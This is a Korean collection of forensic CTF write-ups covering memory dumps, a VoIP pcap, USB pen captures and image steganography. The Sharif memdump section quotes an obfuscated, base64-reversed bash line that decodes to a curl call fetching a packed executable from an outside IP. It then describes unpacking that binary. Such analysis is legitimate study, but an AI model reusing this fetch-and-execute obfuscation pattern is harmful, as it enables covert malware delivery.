컴퓨터를 사용하다가 컴퓨터가 느려지는 현상이 발견되어, 원인을 파악해 보니 특정 파일에서 지속적으로 인터넷을 연결하는 현상이 감지 되었다. 해당 사이트에 접근해보니 특정 문구가 존재하였다. 해당 사이트에 접근하여 특정 문구인 flag를 획득하시오.
문제 풀이¶
메모리 덤프 파일을 주고, 분석을 진행하라고 하니 일단 volatility로 해당 덤프파일의 OS 확인
$ python vol.py imageinfo -f forensic_100.raw
Volatility Foundation Volatility Framework 2.6
INFO : volatility.debug : Determining profile based on KDBG search...
Suggested Profile(s) : WinXPSP2x86, WinXPSP3x86 (Instantiated with WinXPSP2x86)
AS Layer1 : IA32PagedMemoryPae (Kernel AS)
AS Layer2 : FileAddressSpace (/home/joizel/ctf_test/forensic_100.raw)
PAE type : PAE
DTB : 0x34c000L
KDBG : 0x80545ce0L
Number of Processors : 1
Image Type (Service Pack) : 3
KPCR for CPU 0 : 0xffdff000L
KUSER_SHARED_DATA : 0xffdf0000L
Image date and time : 2016-12-06 05:28:47 UTC+0000
Image local date and time : 2016-12-06 14:28:47 +0900
$ python vol.py -f forensic_100.raw --profile=WinXPSP2x86 pstree
Volatility Foundation Volatility Framework 2.6
Name Pid PPid Thds Hnds Time
-------------------------------------------------- ------ ------ ------ ------ ----
0x8231f698:explorer.exe 1556 1520 15 466 2016-12-06 05:27:10 UTC+0000
. 0x821f8438:vmtoolsd.exe 1856 1556 3 129 2016-12-06 05:27:11 UTC+0000
. 0x819b4380:tcpview.exe 3308 1556 2 84 2016-12-06 05:28:42 UTC+0000
. 0x82267900:rundll32.exe 1712 1556 2 144 2016-12-06 05:27:16 UTC+0000
. 0x8216a5e8:DumpIt.exe 3740 1556 1 25 2016-12-06 05:28:46 UTC+0000
. 0x82170da0:ctfmon.exe 1872 1556 1 87 2016-12-06 05:27:11 UTC+0000
0x823c8660:System 4 0 58 259 1970-01-01 00:00:00 UTC+0000
. 0x81a18020:smss.exe 540 4 3 19 2016-12-06 05:27:04 UTC+0000
.. 0x82173da0:winlogon.exe 628 540 24 541 2016-12-06 05:27:07 UTC+0000
... 0x8216e670:services.exe 672 628 15 286 2016-12-06 05:27:07 UTC+0000
.... 0x81f46238:alg.exe 2028 672 7 104 2016-12-06 05:27:16 UTC+0000
.... 0x82312450:svchost.exe 1036 672 87 1514 2016-12-06 05:27:08 UTC+0000
..... 0x81f2cb20:wuauclt.exe 3164 1036 5 107 2016-12-06 05:28:15 UTC+0000
..... 0x82062b20:wuauclt.exe 488 1036 7 132 2016-12-06 05:27:13 UTC+0000
..... 0x81e56228:wscntfy.exe 720 1036 1 37 2016-12-06 05:27:18 UTC+0000
.... 0x82154880:vmacthlp.exe 836 672 1 25 2016-12-06 05:27:08 UTC+0000
.... 0x82151ca8:svchost.exe 936 672 10 272 2016-12-06 05:27:08 UTC+0000
.... 0x81e4b4b0:vmtoolsd.exe 312 672 9 265 2016-12-06 05:27:13 UTC+0000
.... 0x81f92778:svchost.exe 1088 672 7 83 2016-12-06 05:27:08 UTC+0000
.... 0x81f00558:VGAuthService.e 196 672 2 60 2016-12-06 05:27:13 UTC+0000
.... 0x81e18da0:svchost.exe 848 672 20 216 2016-12-06 05:27:08 UTC+0000
..... 0x81e89200:wmiprvse.exe 596 848 12 255 2016-12-06 05:27:13 UTC+0000
.... 0x81e41928:svchost.exe 1320 672 12 183 2016-12-06 05:27:10 UTC+0000
.... 0x81f0dbe0:spoolsv.exe 1644 672 15 133 2016-12-06 05:27:10 UTC+0000
.... 0x81f65da0:svchost.exe 1776 672 2 23 2016-12-06 05:27:10 UTC+0000
..... 0x8225bda0:IEXPLORE.EXE 380 1776 22 385 2016-12-06 05:27:19 UTC+0000
...... 0x8229f7e8:IEXPLORE.EXE 1080 380 19 397 2016-12-06 05:27:21 UTC+0000
.... 0x81e4f560:svchost.exe 1704 672 5 107 2016-12-06 05:27:10 UTC+0000
... 0x81f8c9a0:lsass.exe 684 628 26 374 2016-12-06 05:27:07 UTC+0000
.. 0x81ef6da0:csrss.exe 604 540 11 480 2016-12-06 05:27:07 UTC+0000
0x81e886f0:GoogleUpdate.ex 372 1984 7 138 2016-12-06 05:27:13 UTC+0000
svchost.exe 프로세스에 IEXPLORE.EXE가 자식 프로세스로 실행되고 있는 것으로 보여 svchost.exe를 덤프
$ python vol.py -f VictimMemory.img --profile=WinXPSP2x86 procdump --pid=1776 --dump-dir=dump_file/
Volatility Foundation Volatility Framework 2.6
Process(V) ImageBase Name Result
---------- ---------- -------------------- ------
0x81e4f560 0x01000000 svchost.exe OK: executable.1704.exe
덤프된 파일에 strings로 IEXPLORE.EXE가 존재하는 지 확인해본 결과 다음과 같은 URL로 접속 명령 진행 확인
$ strings dump_file/executable.1776.exe |grep -i iexplore.exe
C:\Program Files\Internet Explorer\iexplore.exe http://crattack.tistory.com/entry/Data-Science-import-pandas-as-pd
해당 url에는 플래그가 존재하지 않았고, connections를 통해 연결 중인 네트워크를 확인해 본 결과 다음 IP에 접속함을 확인
$ nslookup http://crattack.tistory.com
Server: 192.168.220.2
Address: 192.168.220.2#53
Non-authoritative answer:
Name: http://crattack.tistory.com
Address: 175.126.170.110
Name: http://crattack.tistory.com
Address: 175.126.170.70
$ python vol.py -f forensic_100.raw --profile=WinXPSP2x86 connections
Volatility Foundation Volatility Framework 2.6
Offset(V) Local Address Remote Address Pid
---------- ------------------------- ------------------------- ---
0x8213bbe8 192.168.88.131:1034 153.127.200.178:80 1080
해당 IP를 통해 uri를 입력하여 접속하면 플래그 획득 가능하나, 지금은 서버가 종료된 상태임
$ curl http://153.127.200.178/entry/Data-Science-import-pandas-as-pd
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL /entry/Data-Science-import-pandas-as-pd was not found on this server.</p>
</body></html>
[2016_seccon] [Forensic] VoIP¶
문제내용¶
VoIP Extract a voice. The flag format is SECCON{[A-Z0-9]}.
문제 풀이¶
pcap파일을 제공하는데 VoIP를 위한 SIP 프로토콜을 확인할 수 있다. VoIP Calls를 선택해보자.

VoIP Calls를 선택하면 스트림을 직접 들어볼 수 있다. Play Streams를 통해 플래그값을 확인할 수 있다.

[2016_sharif] [Forensic] memdump¶
메모리 덤프 파일 정보 확인¶
메모리 덤프 s파일의 정보를 확인합니다.
리눅스 메모리 덤프의 경우 volatility의 imageinfo로 확인을 하게 되면 시간도 오래걸리고, 만약 profile에 해당 이미자가 없을 수 있기 때문에 다음 명령으로 확인을 합니다.
$ strings memdump2 | egrep '^Linux.*[0-9.]{3,}.*SMP'
Linux version 3.16.0-30-generic (buildd@kissel) (gcc version 4.8.2 (Ubuntu 4.8.2-19ubuntu1) ) #40~14.04.1-Ubuntu SMP Thu Jan 15 17:43:14 UTC 2015 (Ubuntu 3.16.0-30.40~14.04.1-generic 3.16.7-ckt3)
Linux version 3.16.0-30-generic (buildd@kissel) (gcc version 4.8.2 (Ubuntu 4.8.2-19ubuntu1) ) #40~14.04.1-Ubuntu SMP Thu Jan 15 17:43:14 UTC 2015 (Ubuntu 3.16.0-30.40~14.04.1-generic 3.16.7-ckt3)
프로세스 정보 확인¶
위에서 나온 프로파일이 윈도우이므로, pslist로 프로세스 정보에 대해 확인합니다.
$ python vol.py linux_psaux --profile=LinuxUbuntu1404x64 -f memdump2
Volatility Foundation Volatility Framework 2.5
Pid Uid Gid Arguments
1 0 0 /sbin/init
2 0 0 [kthreadd]
3 0 0 [ksoftirqd/0]
5 0 0 [kworker/0:0H]
6 0 0 [kworker/u2:0]
7 0 0 [rcu_sched]
8 0 0 [rcuos/0]
9 0 0 [rcu_bh]
10 0 0 [rcuob/0]
11 0 0 [migration/0]
12 0 0 [watchdog/0]
13 0 0 [khelper]
14 0 0 [kdevtmpfs]
15 0 0 [netns]
16 0 0 [khungtaskd]
17 0 0 [writeback]
18 0 0 [ksmd]
19 0 0 [crypto]
20 0 0 [kintegrityd]
21 0 0 [bioset]
22 0 0 [kblockd]
23 0 0 [ata_sff]
24 0 0 [khubd]
25 0 0 [md]
26 0 0 [devfreq_wq]
27 0 0 [kworker/u2:1]
28 0 0 [kworker/0:1]
29 0 0 [kswapd0]
30 0 0 [fsnotify_mark]
31 0 0 [ecryptfs-kthrea]
43 0 0 [kthrotld]
44 0 0 [acpi_thermal_pm]
45 0 0 [scsi_eh_0]
46 0 0 [scsi_tmf_0]
47 0 0 [scsi_eh_1]
48 0 0 [scsi_tmf_1]
50 0 0 [ipv6_addrconf]
70 0 0 [deferwq]
71 0 0 [charger_manager]
117 0 0 [kpsmoused]
118 0 0 [kworker/0:2]
119 0 0 [scsi_eh_2]
120 0 0 [scsi_tmf_2]
121 0 0 [kworker/0:1H]
131 0 0 [jbd2/sda1-8]
132 0 0 [ext4-rsv-conver]
264 0 0 upstart-udev-bridge --daemon
270 0 0 /lib/systemd/systemd-udevd --daemon
391 0 0 upstart-file-bridge --daemon
394 102 106 dbus-daemon --system --fork
396 101 104 rsyslogd
422 0 0 /lib/systemd/systemd-logind
462 0 0 upstart-socket-bridge --daemon
540 0 0 dhclient -1 -v -pf /run/dhclient.eth0.pid -lf /var/lib/dhcp/dhclient.eth0.leases eth0
680 0 0 /sbin/getty -8 38400 tty4
683 0 0 /sbin/getty -8 38400 tty5
690 0 0 /sbin/getty -8 38400 tty2
691 0 0 /sbin/getty -8 38400 tty3
693 0 0 /sbin/getty -8 38400 tty6
710 0 0 acpid -c /etc/acpi/events -s /var/run/acpid.socket
725 0 0 /usr/sbin/sshd -D
773 0 0 atd
774 0 0 cron
900 0 0 [kauditd]
1047 0 0 /sbin/getty -8 38400 tty1
1093 0 0 sshd: user [priv]
1135 1000 1000 sshd: user@pts/0
1136 1000 1000 -bash <-- suspicious process
1166 0 0 [kworker/u2:2]
bash shell 확인¶
실행한 bash 정보를 확인합니다. 뭔가 냄새가 나는 것들이 존재합니다.
$ python vol.py linux_bash --profile=LinuxUbuntu1404x64 -f memdump2
Volatility Foundation Volatility Framework 2.5
Pid Name Command Time Command
-------- -------------------- ------------------------------ -------
1136 bash 2016-02-03 11:31:37 UTC+0000 netstat -natp
1136 bash 2016-02-03 11:32:21 UTC+0000 history
1136 bash 2016-02-03 11:32:28 UTC+0000 startx
1136 bash 2016-02-03 11:32:35 UTC+0000 history
1136 bash 2016-02-03 11:32:55 UTC+0000 passwd
1136 bash 2016-02-03 11:33:31 UTC+0000 ifconfig
1136 bash 2016-02-03 11:33:37 UTC+0000 curl ctf.sharif.edu
1136 bash 2016-02-03 11:33:43 UTC+0000 curl ctf.sharif.edu | grep till
1136 bash 2016-02-03 11:33:49 UTC+0000 curl -s paste.debian.net/plain/343376 | cut -d "_not"
1136 bash 2016-02-03 11:34:11 UTC+0000 curl -s paste.debian.net/plain/343376 | tr -d "_not"
1136 bash 2016-02-03 11:34:51 UTC+0000 curl -s paste.debian.net/plain/343376 | base64 | rev
1136 bash 2016-02-03 11:34:58 UTC+0000 top
1136 bash 2016-02-03 11:35:04 UTC+0000 history
1136 bash 2016-02-03 11:35:09 UTC+0000 curl -s ctf.sharif.edu | grep till
1136 bash 2016-02-03 11:35:15 UTC+0000 curl -s ctf.sharif.edu | grep till | sed -e 's/20:00/30:00/g'
1136 bash 2016-02-03 11:35:22 UTC+0000
1136 bash 2016-02-03 11:35:29 UTC+0000 echo blahblah
1136 bash 2016-02-03 11:35:35 UTC+0000 curl -I ctf.sharif.edu
1136 bash 2016-02-03 11:35:42 UTC+0000 curl -I ctf.sharif.edu | grep ETag | cut -d "\"" -f2
1136 bash 2016-02-03 11:35:48 UTC+0000 curl -s -I ctf.sharif.edu | grep ETag | cut -d "\"" -f2
1136 bash 2016-02-03 11:35:53 UTC+0000 curl ctftime.org
1136 bash 2016-02-03 11:36:05 UTC+0000 curl https://ctftime.org
1136 bash 2016-02-03 11:36:11 UTC+0000 curl https://ctftime.org/upcoming | grep -i SharifCTF
1136 bash 2016-02-03 11:36:17 UTC+0000 curl -s "https://ctftime.org/upcoming " | grep -i SharifCTF
1136 bash 2016-02-03 11:36:23 UTC+0000 curl -s "https://ctftime.org/upcoming " | grep -i flag
1136 bash 2016-02-03 11:36:35 UTC+0000 echo "woow :) :)"
1136 bash 2016-02-03 11:36:41 UTC+0000 watch curl -s "https://ctftime.org/Upcoming | grep -i flag"
1136 bash 2016-02-03 11:37:00 UTC+0000 history
1136 bash 2016-02-03 11:37:05 UTC+0000 ping google.com
1136 bash 2016-02-03 11:37:13 UTC+0000 ps aux
1136 bash 2016-02-03 11:37:19 UTC+0000 nslookup ctf.sharif.edu
1136 bash 2016-02-03 11:37:24 UTC+0000 ls -ah
1136 bash 2016-02-03 11:37:29 UTC+0000 ls -la
1136 bash 2016-02-03 11:37:33 UTC+0000 uptime
1136 bash 2016-02-03 11:37:40 UTC+0000 clear
실행을 통해 확인 작업에 들어갑니다.
$ curl -s paste.debian.net/plain/343376
hi all, Where is flag? this is not flag, be sure!
+++++++++++++++++++++++++++++++++++++++++++++++++
+ su-CTF{this_is_not_flag_g0_away} +
+++++++++++++++++++++++++++++++++++++++++++++++++
어 이게 정답인가? 아니였습니다.
$ curl -s paste.debian.net/plain/343376 | tr -d "_not"
hi all, Where is flag? his is flag, be sure!
+++++++++++++++++++++++++++++++++++++++++++++++++
+ su-CTF{hisisflagg0away} +
+++++++++++++++++++++++++++++++++++++++++++++++++
어 이게 정답인가? 아니였습니다. 이리로 오면 안되는 거 였습니다. 잘못된 접근 ㅎㅎ
덤프 파일 분석¶
bash pid로 메모리 덤프를 떠서 확인을 해봐야겠습니다.
$ python vol.py linux_dump_map -p 1136 --profile=LinuxUbuntu1404x64 -f memdump2 -D output
Volatility Foundation Volatility Framework 2.5
Task VM Start VM End Length Path
---------- ------------------ ------------------ ------------------ ----
1136 0x0000000000400000 0x00000000004ef000 0xef000 output/task.1136.0x400000.vma
1136 0x00000000006ef000 0x00000000006f0000 0x1000 output/task.1136.0x6ef000.vma
1136 0x00000000006f0000 0x00000000006f9000 0x9000 output/task.1136.0x6f0000.vma
1136 0x00000000006f9000 0x00000000006ff000 0x6000 output/task.1136.0x6f9000.vma
1136 0x000000000141c000 0x00000000015a8000 0x18c000 output/task.1136.0x141c000.vma
1136 0x00007f6a8d701000 0x00007f6a8d70c000 0xb000 output/task.1136.0x7f6a8d701000.vma
1136 0x00007f6a8d70c000 0x00007f6a8d90b000 0x1ff000 output/task.1136.0x7f6a8d70c000.vma
1136 0x00007f6a8d90b000 0x00007f6a8d90c000 0x1000 output/task.1136.0x7f6a8d90b000.vma
1136 0x00007f6a8d90c000 0x00007f6a8d90d000 0x1000 output/task.1136.0x7f6a8d90c000.vma
1136 0x00007f6a8d90d000 0x00007f6a8d918000 0xb000 output/task.1136.0x7f6a8d90d000.vma
1136 0x00007f6a8d918000 0x00007f6a8db17000 0x1ff000 output/task.1136.0x7f6a8d918000.vma
1136 0x00007f6a8db17000 0x00007f6a8db18000 0x1000 output/task.1136.0x7f6a8db17000.vma
1136 0x00007f6a8db18000 0x00007f6a8db19000 0x1000 output/task.1136.0x7f6a8db18000.vma
1136 0x00007f6a8db19000 0x00007f6a8db30000 0x17000 output/task.1136.0x7f6a8db19000.vma
1136 0x00007f6a8db30000 0x00007f6a8dd2f000 0x1ff000 output/task.1136.0x7f6a8db30000.vma
1136 0x00007f6a8dd2f000 0x00007f6a8dd30000 0x1000 output/task.1136.0x7f6a8dd2f000.vma
1136 0x00007f6a8dd30000 0x00007f6a8dd31000 0x1000 output/task.1136.0x7f6a8dd30000.vma
1136 0x00007f6a8dd31000 0x00007f6a8dd33000 0x2000 output/task.1136.0x7f6a8dd31000.vma
1136 0x00007f6a8dd33000 0x00007f6a8dd3c000 0x9000 output/task.1136.0x7f6a8dd33000.vma
1136 0x00007f6a8dd3c000 0x00007f6a8df3b000 0x1ff000 output/task.1136.0x7f6a8dd3c000.vma
1136 0x00007f6a8df3b000 0x00007f6a8df3c000 0x1000 output/task.1136.0x7f6a8df3b000.vma
1136 0x00007f6a8df3c000 0x00007f6a8df3d000 0x1000 output/task.1136.0x7f6a8df3c000.vma
1136 0x00007f6a8df3d000 0x00007f6a8e206000 0x2c9000 output/task.1136.0x7f6a8df3d000.vma
1136 0x00007f6a8e206000 0x00007f6a8e3c1000 0x1bb000 output/task.1136.0x7f6a8e206000.vma
1136 0x00007f6a8e3c1000 0x00007f6a8e5c1000 0x200000 output/task.1136.0x7f6a8e3c1000.vma
1136 0x00007f6a8e5c1000 0x00007f6a8e5c5000 0x4000 output/task.1136.0x7f6a8e5c1000.vma
1136 0x00007f6a8e5c5000 0x00007f6a8e5c7000 0x2000 output/task.1136.0x7f6a8e5c5000.vma
1136 0x00007f6a8e5c7000 0x00007f6a8e5cc000 0x5000 output/task.1136.0x7f6a8e5c7000.vma
1136 0x00007f6a8e5cc000 0x00007f6a8e5cf000 0x3000 output/task.1136.0x7f6a8e5cc000.vma
1136 0x00007f6a8e5cf000 0x00007f6a8e7ce000 0x1ff000 output/task.1136.0x7f6a8e5cf000.vma
1136 0x00007f6a8e7ce000 0x00007f6a8e7cf000 0x1000 output/task.1136.0x7f6a8e7ce000.vma
1136 0x00007f6a8e7cf000 0x00007f6a8e7d0000 0x1000 output/task.1136.0x7f6a8e7cf000.vma
1136 0x00007f6a8e7d0000 0x00007f6a8e7f5000 0x25000 output/task.1136.0x7f6a8e7d0000.vma
1136 0x00007f6a8e7f5000 0x00007f6a8e9f4000 0x1ff000 output/task.1136.0x7f6a8e7f5000.vma
1136 0x00007f6a8e9f4000 0x00007f6a8e9f8000 0x4000 output/task.1136.0x7f6a8e9f4000.vma
1136 0x00007f6a8e9f8000 0x00007f6a8e9f9000 0x1000 output/task.1136.0x7f6a8e9f8000.vma
1136 0x00007f6a8e9f9000 0x00007f6a8ea1c000 0x23000 output/task.1136.0x7f6a8e9f9000.vma
1136 0x00007f6a8ec0a000 0x00007f6a8ec11000 0x7000 output/task.1136.0x7f6a8ec0a000.vma
1136 0x00007f6a8ec11000 0x00007f6a8ec14000 0x3000 output/task.1136.0x7f6a8ec11000.vma
1136 0x00007f6a8ec19000 0x00007f6a8ec1b000 0x2000 output/task.1136.0x7f6a8ec19000.vma
1136 0x00007f6a8ec1b000 0x00007f6a8ec1c000 0x1000 output/task.1136.0x7f6a8ec1b000.vma
1136 0x00007f6a8ec1c000 0x00007f6a8ec1d000 0x1000 output/task.1136.0x7f6a8ec1c000.vma
1136 0x00007f6a8ec1d000 0x00007f6a8ec1e000 0x1000 output/task.1136.0x7f6a8ec1d000.vma
1136 0x00007fff373e1000 0x00007fff37403000 0x22000 output/task.1136.0x7fff373e1000.vma
1136 0x00007fff37407000 0x00007fff37409000 0x2000 output/task.1136.0x7fff37407000.vma
1136 0x00007fff37409000 0x00007fff3740b000 0x2000 output/task.1136.0x7fff37409000.vma
grep 명령을 통해 string을 가진 파일을 검색해보았는데 다행히(?) 1개 파일이 매칭 되었습니다.
$ grep -i 'netstat -natp' output/*
Binary file output/task.1136.0x141c000.vma matches
strings 로 해당 파일을 검색해보니 너무 너무 많이 출력됩니다. ㅠㅠ 솔직히 여기서부터 잘못된 접근인가라는 의심이 시작되었습니다. 다행히 more에서 8페이지 쯤 에 수상한 놈이 보였습니다.
$ strings output/task.1136.0x141c000.vma |more
e.org/Upcoming | grep -i flag"
jL1IzLqt0TwF3b | rev | openssl enc -a -d | rev | . /dev/stdin > /tmp/.KvCf56'
g' -e 's/|/ /g' | uniq)
p##*/}
printf '%s\n' ${tmp%.mod}
}
done
}
))
t|m[eo]d|M[EO]D|s[3t]m|S[3T]M|it|IT|xm|XM|iso|ISO)|+([0-9]).@(vdr|VDR))?(.part)'
ull ))
"s|.*[[:space:]]\(link/\)\{0,1\}ether[[:space:]]\{1,\}\($re\)[[:space:]]*$|\2|p"
))
/tmp/.KvCf56 이라는 파일에 무언가 저장을 하는구나 싶어 grep으로 해당 부분을 잡아보았습니다.
$ strings output/task.1136.0x141c000.vma |grep '/tmp/.KvCf56'
jL1IzLqt0TwF3b | rev | openssl enc -a -d | rev | . /dev/stdin > /tmp/.KvCf56'
Lqt0TwF3b | rev | openssl enc -a -d | rev | . /dev/stdin > /tmp/.KvCf56'
qt0TwF3b | rev | openssl enc -a -d | rev | . /dev/stdin > /tmp/.KvCf56'
qt0TwF3b | rev | openssl enc -a -d | rev | . /dev/stdin > /tmp/.KvCf56'
Lqt0TwF3b | rev | openssl enc -a -d | rev | . /dev/stdin > /tmp/.KvCf56
echo =owY1JHbg0ycggGd0BnOv8SN04SM4MjL1MjL1IzLqt0TwF3b | rev | openssl enc -a -d | rev | . /dev/stdin > /tmp/.KvCf56
t0TwF3b | rev | openssl enc -a -d | rev | . /dev/stdin > /tmp/.KvCf56'
바로 해당 명령 실행
$ echo =owY1JHbg0ycggGd0BnOv8SN04SM4MjL1MjL1IzLqt0TwF3b | rev | openssl enc -a -d | rev
curl -s http://54.183.53.52/jKOpqo
저 url에서 PE파일 하나를 떨구네요.
실행을 시켜보면 그냥 묵비권만 행사함을 알 수 있습니다. 근데 뭔가 알지도 모른다고 하네요.

IDA를 통해 Segment를 확인해보면 aspack 으로 패킹 되어 있음을 확인할 수 있습니다.

packing이 되어 있기 때문에 아무리 IDA로 정적 분석을 해도 별다른 스트링이 나오지 않음을 알수 있습니다. 왜냐하면 실행 중에 unpack이 되기 때문에 unpack 이후 OEP 에 들어 갓을 때 내용을 확인해야 정상적으로 뜹니다.
그럼 먼저 aspack을 unpack을 해보죠. 프로그램 시작 지점 (start) 부터 시작을 합니다. 근처에 pusha 가 있을겁니다. 언팩을 하기 전의 레지스터 값을 저장하고 언팩이 끝난 다음에 popa를 통해 복구 하기 위함입니다.

따라서 우리는 어셈블리를 쭉 내리면서 popa 만 찾으면 되고, popa 에다가 bp를 걸고 실행 합니다.

이후 몇번 움직이면 EIP가 0x00401040 쪽으로 가게 되는데 이 부분부터가 OEP 입니다.
이때부터 strings나 기타 등등을 살펴 보면 다음과 같이 잘 보임을 알 수 있습니다.


여기서 주목해야 할 세그먼트는 jKOpqo.exe 세그먼트 입니다. 이름이 같은 세그먼트가 2개가 있는데 첫 번째 내용에 MZ 로 시작하여 This program cannot be 어쩌구 있는걸 보니 바이너리 형태로 프로그램이 들어가 있고
두번째 세그먼트를 보면 FLAG ... IMG ... PNG 어쩌구 되어 있습니다. 음... 두번째 놈을 덤프 떠봅니다 'ㅅ' 세그먼트 헤더에 시작위치와 크기가 정해져 있으니 해당 바이트수 만큼 땝니다.

보면 PNG 해더가 시작하기 때문에 PNG 해더 전을 다 지웁니다.

뒷 부분도 마찬가지로 PNG 의 끝을 가리키는 IEND + 4 바이트 까지 남기고 다 지웁니다.

요놈을

그러면 flag가 포함된 이미지가 출력됩니다.
[2017_bitctf] [Forensic] Black hole¶
문제내용¶
We are trying to study the Black Holes. One of the most controversial theory related to Black Holes is the "Information Loss Paradox". Calculations suggest that physical information could permanently disappear in a black hole. But this violates the quantum theory. To test the hypothesis, we sent our flag encoded in Base64 format towards a Black Hole. With the help of our Hubble Space Telescope, we got some pictures of the Black Hole. See if you can recover the flag from this information. [번역] 우리는 블랙홀에 대해 연구하려고 합니다. 블랙홀과 관려뇐 가장 논란이 되는 이론 중 하나가 "Information Loss Paradox" 입니다. 계산에 따르면, 물리적 정보가 블랙홀에서는 영구적으로 사라질 수 있습니다. 그러나, 이건은 양자 이론에 위배됩니다. 가설을 테스트하기 위해 우리는 Base64 형식으로 인코딩된 플래그를 블랙홀로 보냈습니다. Hubble Space Telescope의 도움으로 블랙홀 사진을 얻었습니다. 이 정보에서 플래그를 복구할 수 있는지 확인하십시오.

문제 풀이¶
해당 문제의 경우 BITSCTF에 플래그 유형을 알아야 풀 수 있는 문제이다. BITSCTF 플래그 유형은 다음과 같은 접두사를 가지고 있다.
BITSCTF{
문제에서 Base64형식으로 플래그를 보냈다고 했으니, 해당 문자열을 Base64로 인코딩한 값이 이미지 파일 문자열에 존재하는 지 확인해본다.
$ echo 'BITSCTF{' | base64
QklUU0NURnsK
$ strings black_hole.jpg | grep 'QklU'
UQklUQ1RGe1M1IDAwMTQrODF9
$ echo "QklUQ1RGe1M1IDAwMTQrODF9"|base64 -d
BITCTF{S5 0014+81}
[2017_bitctf] [Forensic] Tom and Jerry¶
문제내용¶
cat.pcapng 파일이 제공. 해당 pcap에서 플래그를 찾는 문제
문제 풀이¶
pcap을 열어서 확인해보면 USB 데이터가 캡쳐된 것을 확인할 수 있음.

빨간색 박스 내용을 보면 idVendor와 idProduct를 확인할 수 있다. 해당 USB는 Bamboo Pen이라고 적힌걸로 보아 터치 터치펜인 것으로 보임. Bamboo Pen의 이벤트 패킷(URB/USB Request Blocks)은 9바이트로 다음과 같은 포맷을 가지고 있음.

http://linuxwacom.sourceforge.net/wiki/index.php/USB_Protocol
간지나게 tshark로 pcap을 필터링 해보자!!
$ tshark -r Cat.pcapng -T fields -e usb.capdata -Y usb.capdata > usbcapdata.txt
추출한 결과는 다음과 같다.
02:80:00:00:00:00:00:00:00
02:80:00:00:00:00:00:00:00
02:80:00:00:00:00:00:00:00
02:80:00:00:00:00:00:00:00
02:80:00:00:00:00:00:00:00
......
X좌표와 Y좌표를 통해 터치펜 포인터의 행위를 확인할 수 있다. X좌표는 빨간색 부분을 바이너리로 전환하면 되고, Y좌표는 파란색 부분을 바이너리로 전환하면된다. python 라이브러리 중 Matplotlib을 이용하여 해당 좌표값으로 이미지를 출력해보자. Pressure가 있는 값의 경우 가시성을 떨어뜨릴 수 있으므로, 제외하고 출력
f=open('usbcapdata.txt',"rb")
usbcapdata=f.readlines()
f.close()
coord=[[],[]]
for line in usbcapdata:
if line.split(':')[6]!="00" and line.split(':')[7]!="00":
coord[0].append(line.split(':')[3] + line.split(':')[2])
coord[1].append(line.split(':')[5] + line.split(':')[4])
x=[]
y=[]
for n in range(0, len(coord[0])):
x.append(int(coord[0][n],16))
y.append(int(coord[1][n],16))
import matplotlib.pyplot as plt
plt.plot(x, y)
plt.show()

[2017_bitctf] [Forensic] flagception¶
문제내용¶
Yo dawg, I heard you like flags So I put a flag in your flag [번역] 이봐, 네가 깃발을 들었다고 들었어. 그래서 나는 당신의 깃발에 플래그를 넣었다.

문제 풀이¶
해당 문제의 경우 깃발에 플래그가 삽입되어 있는 문제로 깃발 부분을 확대해보면 색깔이 조금 다른 부분이 존재하는 것을 확인할 수 있다.

각 pixel을 파란색일 경우 1, 흰색일 경우 0으로 bit 계산해보면 플래그를 확인해볼 수 있음.
01000010 B
01001001 I
01010100 T
01010011 S
01000011 C
01010100 T
01000110 F
01111011 {
01100110 f
00110001 1
01100001 a
01100111 g
01100011 c
00110011 3
01110000 p
01110100 t
00110001 1
00110000 0
01101110 n
01111101 }
[2017_bugs_bunny] [Forensic] For80¶
문제내용¶
you can`t see me !!
문제 풀이¶
gif파일이지만 굉장히 얇게 되어 있어 어떤 이미지인지 확인이 어렵다. imagemagick의 convert 명령을 통해 gif의 움직이는 이미지 파일을 png로 각각 저장한다.
$ convert -coalesce task.gif gif/out%05d.png
저장한 파일을 하나의 이미지 파일로 합치면 플래그를 확인할 수 있다.
$ convert +append $(find gif|sort) task.png
[2017_bugs_bunny] [Forensic] Give me the Flag !¶
문제내용¶
Please helps me to get the flag !
문제 풀이¶
flag.zip라는 암호가 걸려있는 압축파일과 각국가 이미지가 들어있는 파일을 제공한다. 국가 이미지 파일들 중에 qrcode를 조각된 이미지파일이 존재하며 그들만 따로 추출한다. 국가 이미지는 RGB 또는 RGBA로 되어 있지만, qrcode는 grayscale로 되어있어 그 부분을 추출한다.
$ file *|grep 'grayscale'
ax.png: PNG image data, 80 x 80, 1-bit grayscale, non-interlaced
cx.png: PNG image data, 60 x 80, 1-bit grayscale, non-interlaced
dq.png: PNG image data, 80 x 80, 1-bit grayscale, non-interlaced
hj.png: PNG image data, 80 x 80, 1-bit grayscale, non-interlaced
hm.png: PNG image data, 80 x 80, 1-bit grayscale, non-interlaced
im.png: PNG image data, 60 x 80, 1-bit grayscale, non-interlaced
mb.png: PNG image data, 80 x 80, 1-bit grayscale, non-interlaced
mj.png: PNG image data, 80 x 80, 1-bit grayscale, non-interlaced
nb.png: PNG image data, 80 x 80, 1-bit grayscale, non-interlaced
nn.png: PNG image data, 80 x 80, 1-bit grayscale, non-interlaced
pr.png: PNG image data, 80 x 80, 1-bit grayscale, non-interlaced
qx.png: PNG image data, 80 x 60, 1-bit grayscale, non-interlaced
rp.png: PNG image data, 60 x 60, 1-bit grayscale, non-interlaced
vi.png: PNG image data, 80 x 60, 1-bit grayscale, non-interlaced
xv.png: PNG image data, 60 x 80, 1-bit grayscale, non-interlaced
zy.png: PNG image data, 80 x 60, 1-bit grayscale, non-interlaced
따로 추출한 파일들을 하나의 파일로 합치자.
$ convert +append ax.png nb.png nn.png cx.png test1.png
$ convert +append dq.png hj.png hm.png im.png test2.png
$ convert +append mb.png mj.png pr.png xv.png test3.png
$ convert +append qx.png vi.png zy.png rp.png test4.png
$ convert -append test1.png test2.png test3.png test4.png all.png
합친 파일을 qrcode 스캐너로 패스워드 확인 확인된 패스워드로 flag.zip 압축 해제 후 Readme 파일 확인
01000010 01110101 01100111 01110011 01011111 01000010 01110101 01101110 01101110 01111001 01111011 00110010 01100010 00111001 00110111 00110010 00110110 00110011 01100010 01100101 01100010 00110111 00110000 01100100 00110000 01100110 00110110 00110101 00111001 01100010 01100100 01100010 00111001 00110011 01100011 01100011 00110101 00110010 00111001 00110001 01100100 00110000 01100001 01111101
python을 통해 해당 플래그 획득
[2017_bugs_bunny] [Forensic] Lost data¶
문제내용¶
